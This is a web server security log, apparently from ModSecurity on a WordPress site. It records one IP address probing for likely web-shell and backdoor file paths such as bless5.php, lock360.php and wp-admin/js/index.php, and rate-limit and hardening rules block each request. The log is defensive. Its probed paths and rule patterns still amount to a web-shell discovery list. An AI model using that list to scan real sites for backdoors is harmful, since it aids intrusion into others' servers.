[Tue Dec 30 00:03:12.257408 2025] [:error] [pid 24344:tid 24379] [client 158.158.106.197:5033] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aVKmQE1cesxuccozvjjufgAAAkQ"]
[Tue Dec 30 00:03:12.777020 2025] [:error] [pid 37389:tid 37475] [client 158.158.106.197:11278] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aVKmQMEYrQKI4GZ26QZzAAAAARU"]
[Tue Dec 30 00:03:13.300846 2025] [:error] [pid 11453:tid 11525] [client 158.158.106.197:5049] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aVKmQby-FXnKT7-6pt4EnwAAAJA"]
[Tue Dec 30 00:03:13.817896 2025] [:error] [pid 24344:tid 24396] [client 158.158.106.197:5027] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVKmQU1cesxuccozvjjugwAAAlM"]
[Tue Dec 30 00:03:14.647732 2025] [:error] [pid 4295:tid 4309] [client 158.158.106.197:5021] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVKmQjZaf4wrmKkZkFJR4AAAAYw"]
[Tue Dec 30 00:03:15.179999 2025] [:error] [pid 24307:tid 24332] [client 158.158.106.197:5085] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVKmQy5AURuH8IsFzz6bbQAAAdY"]
[Tue Dec 30 00:03:15.709640 2025] [:error] [pid 4295:tid 4317] [client 158.158.106.197:5087] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVKmQzZaf4wrmKkZkFJR4wAAAZQ"]
[Tue Dec 30 00:03:16.230997 2025] [:error] [pid 24344:tid 24380] [client 158.158.106.197:5002] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVKmRE1cesxuccozvjjuhQAAAkU"]
[Tue Dec 30 00:03:16.740052 2025] [:error] [pid 11451:tid 11474] [client 158.158.106.197:4928] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVKmRJDUmxySx0Vynm8tkwAAABM"]
[Tue Dec 30 00:03:17.415477 2025] [:error] [pid 11453:tid 11512] [client 158.158.106.197:4984] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVKmRby-FXnKT7-6pt4EogAAAIM"]
[Tue Dec 30 00:03:18.017106 2025] [:error] [pid 4295:tid 4314] [client 158.158.106.197:5023] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVKmRjZaf4wrmKkZkFJR5QAAAZE"]
[Tue Dec 30 00:03:18.602859 2025] [:error] [pid 4295:tid 4307] [client 158.158.106.197:5094] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVKmRjZaf4wrmKkZkFJR5wAAAYo"]
[Tue Dec 30 00:03:19.122293 2025] [:error] [pid 11540:tid 11556] [client 158.158.106.197:4972] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVKmRw1izvtkZ6YWaTwNJwAAAM4"]
[Tue Dec 30 00:03:19.685869 2025] [:error] [pid 24307:tid 24327] [client 158.158.106.197:4947] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVKmRy5AURuH8IsFzz6bcAAAAdE"]
[Tue Dec 30 00:03:20.200702 2025] [:error] [pid 4295:tid 4299] [client 158.158.106.197:5074] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVKmSDZaf4wrmKkZkFJR6AAAAYI"]
[Tue Dec 30 00:03:20.742025 2025] [:error] [pid 11453:tid 11530] [client 158.158.106.197:11311] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVKmSLy-FXnKT7-6pt4EpAAAAJU"]
[Tue Dec 30 00:03:21.312653 2025] [:error] [pid 24344:tid 24385] [client 158.158.106.197:4988] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVKmSU1cesxuccozvjjuiQAAAko"]
[Tue Dec 30 00:03:21.942263 2025] [:error] [pid 42293:tid 42314] [client 158.158.106.197:5045] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVKmSQpAkHF7zSWhAzGEaAAAAVM"]
[Tue Dec 30 00:03:22.481361 2025] [:error] [pid 24344:tid 24397] [client 158.158.106.197:4869] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVKmSk1cesxuccozvjjujAAAAlQ"]
[Tue Dec 30 00:03:22.986105 2025] [:error] [pid 24343:tid 24352] [client 158.158.106.197:4961] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVKmSsvqvAa0rISAVIR9mwAAAgQ"]
[Tue Dec 30 00:03:23.521509 2025] [:error] [pid 42293:tid 42296] [client 158.158.106.197:4952] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVKmSwpAkHF7zSWhAzGEbAAAAUE"]
[Tue Dec 30 00:03:24.070333 2025] [:error] [pid 24344:tid 24383] [client 158.158.106.197:11338] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVKmTE1cesxuccozvjjujwAAAkg"]
[Tue Dec 30 00:03:24.626360 2025] [:error] [pid 11451:tid 11458] [client 158.158.106.197:4962] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVKmTJDUmxySx0Vynm8tlgAAAAM"]
[Tue Dec 30 00:03:25.141465 2025] [:error] [pid 11451:tid 11455] [client 158.158.106.197:5020] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVKmTZDUmxySx0Vynm8tlwAAAAA"]
[Tue Dec 30 00:03:25.695785 2025] [:error] [pid 11451:tid 11464] [client 158.158.106.197:4995] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVKmTZDUmxySx0Vynm8tmQAAAAk"]
[Tue Dec 30 00:03:26.208427 2025] [:error] [pid 24307:tid 24325] [client 158.158.106.197:11370] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVKmTi5AURuH8IsFzz6bcQAAAc8"]
[Tue Dec 30 00:03:26.752030 2025] [:error] [pid 4295:tid 4320] [client 158.158.106.197:5009] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVKmTjZaf4wrmKkZkFJR7AAAAZc"]
[Tue Dec 30 00:03:27.254347 2025] [:error] [pid 24307:tid 24323] [client 158.158.106.197:5050] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVKmTy5AURuH8IsFzz6bcgAAAc0"]
[Tue Dec 30 00:03:27.759103 2025] [:error] [pid 24344:tid 24377] [client 158.158.106.197:4979] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVKmT01cesxuccozvjjulQAAAkI"]
[Tue Dec 30 00:03:28.276167 2025] [:error] [pid 42293:tid 42305] [client 158.158.106.197:4814] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVKmUApAkHF7zSWhAzGEcAAAAUo"]
[Tue Dec 30 00:03:28.798771 2025] [:error] [pid 24344:tid 24395] [client 158.158.106.197:4942] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVKmUE1cesxuccozvjjulwAAAlI"]
[Tue Dec 30 00:03:29.313441 2025] [:error] [pid 24343:tid 24360] [client 158.158.106.197:4940] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVKmUcvqvAa0rISAVIR9ngAAAgw"]
[Tue Dec 30 00:03:29.828646 2025] [:error] [pid 37389:tid 37465] [client 158.158.106.197:4939] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVKmUcEYrQKI4GZ26QZzAQAAAQs"]
[Tue Dec 30 00:03:30.383906 2025] [:error] [pid 24344:tid 24393] [client 158.158.106.197:5119] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVKmUk1cesxuccozvjjumwAAAlA"]
[Tue Dec 30 00:03:30.880292 2025] [:error] [pid 37389:tid 37462] [client 158.158.106.197:4931] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVKmUsEYrQKI4GZ26QZzBAAAAQg"]
[Tue Dec 30 00:03:31.389005 2025] [:error] [pid 37389:tid 37476] [client 158.158.106.197:4865] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVKmU8EYrQKI4GZ26QZzBQAAARY"]
[Tue Dec 30 00:03:32.035651 2025] [:error] [pid 4295:tid 4316] [client 158.158.106.197:11336] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVKmVDZaf4wrmKkZkFJR7QAAAZM"]
[Tue Dec 30 00:03:32.538708 2025] [:error] [pid 24344:tid 24375] [client 158.158.106.197:4930] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVKmVE1cesxuccozvjjunwAAAkA"]
[Tue Dec 30 00:03:33.097389 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:5055] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVKmVU1cesxuccozvjjuowAAAlE"]
[Tue Dec 30 00:03:33.635898 2025] [:error] [pid 37389:tid 37463] [client 158.158.106.197:4932] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aVKmVcEYrQKI4GZ26QZzCAAAAQk"]
[Tue Dec 30 00:03:34.143804 2025] [:error] [pid 37389:tid 37469] [client 158.158.106.197:11316] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aVKmVsEYrQKI4GZ26QZzCQAAAQ8"]
[Tue Dec 30 00:03:34.647796 2025] [:error] [pid 4295:tid 4313] [client 158.158.106.197:5003] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aVKmVjZaf4wrmKkZkFJR7wAAAZA"]
[Tue Dec 30 00:03:35.148063 2025] [:error] [pid 4295:tid 4308] [client 158.158.106.197:5046] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aVKmVzZaf4wrmKkZkFJR8QAAAYs"]
[Tue Dec 30 00:03:35.657193 2025] [:error] [pid 11540:tid 11566] [client 158.158.106.197:5104] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aVKmVw1izvtkZ6YWaTwNKQAAANg"]
[Tue Dec 30 00:03:36.160985 2025] [:error] [pid 24344:tid 24397] [client 158.158.106.197:4934] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aVKmWE1cesxuccozvjjuqQAAAlQ"]
[Tue Dec 30 00:03:36.679720 2025] [:error] [pid 37389:tid 37456] [client 158.158.106.197:4969] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aVKmWMEYrQKI4GZ26QZzDgAAAQI"]
[Tue Dec 30 00:03:37.210213 2025] [:error] [pid 4295:tid 4300] [client 158.158.106.197:4888] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aVKmWTZaf4wrmKkZkFJR9wAAAYM"]
[Tue Dec 30 00:03:37.709281 2025] [:error] [pid 4295:tid 4318] [client 158.158.106.197:5069] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aVKmWTZaf4wrmKkZkFJR-gAAAZU"]
[Tue Dec 30 00:03:38.208665 2025] [:error] [pid 24344:tid 24400] [client 158.158.106.197:4903] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aVKmWk1cesxuccozvjjurAAAAlc"]
[Tue Dec 30 00:03:38.714957 2025] [:error] [pid 37389:tid 37457] [client 158.158.106.197:5032] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aVKmWsEYrQKI4GZ26QZzDwAAAQM"]
[Tue Dec 30 00:03:39.302805 2025] [:error] [pid 4295:tid 4309] [client 158.158.106.197:4971] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aVKmWzZaf4wrmKkZkFJR_gAAAYw"]
[Tue Dec 30 00:03:39.802044 2025] [:error] [pid 4295:tid 4317] [client 158.158.106.197:4987] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aVKmWzZaf4wrmKkZkFJSAAAAAZQ"]
[Tue Dec 30 00:03:40.347478 2025] [:error] [pid 24307:tid 24314] [client 158.158.106.197:5044] [client 158.158.106.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aVKmXC5AURuH8IsFzz6bdgAAAcQ"]
[Tue Dec 30 00:03:40.922444 2025] [:error] [pid 11451:tid 11457] [client 158.158.106.197:5039] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aVKmXJDUmxySx0Vynm8tnAAAAAI"]
[Tue Dec 30 00:03:41.413728 2025] [:error] [pid 37389:tid 37466] [client 158.158.106.197:5001] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aVKmXcEYrQKI4GZ26QZzEwAAAQw"]
